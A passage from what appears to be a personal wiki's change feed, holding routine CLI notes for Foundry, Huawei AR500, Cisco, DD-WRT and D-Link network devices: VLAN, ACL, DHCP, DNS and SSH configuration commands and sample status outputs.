  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Huawei_AR500&amp;diff=6399</id>
		<title>Huawei AR500</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Huawei_AR500&amp;diff=6399"/>
		<updated>2022-06-21T08:26:46Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://support.huawei.com/hedex/hdx.do?docid=EDOC1000163884&amp;amp;lang=en&amp;amp;idPath=24030814%7C21432787%7C21430822%7C22318700%7C250415553&lt;br /&gt;
&lt;br /&gt;
= DHCP =&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Router] interface vlanif 10&lt;br /&gt;
[Router-Vlanif10] dhcp select interface&lt;br /&gt;
[Router-Vlanif10] dhcp server lease day 30&lt;br /&gt;
[Router-Vlanif10] dhcp server domain-name huawei.com&lt;br /&gt;
[Router-Vlanif10] dhcp server dns-list 10.1.1.2&lt;br /&gt;
[Router-Vlanif10] dhcp server excluded-ip-address 10.1.1.2&lt;br /&gt;
[Router-Vlanif10] dhcp server static-bind ip-address 10.1.1.100 mac-address 286e-d488-b684&lt;br /&gt;
[Router-Vlanif10] quit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6398</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6398"/>
		<updated>2022-05-26T12:57:31Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Cisco */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing THISSSS&lt;br /&gt;
 nvram show|grep THISSSS&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing THISSSS&lt;br /&gt;
 for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
